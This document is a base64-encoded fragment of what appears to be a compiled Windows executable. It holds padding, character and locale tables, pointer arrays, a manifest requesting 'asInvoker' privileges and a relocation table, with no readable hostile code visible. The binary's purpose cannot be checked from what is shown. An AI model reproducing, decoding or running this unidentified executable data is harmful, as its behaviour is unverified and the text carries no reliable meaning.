AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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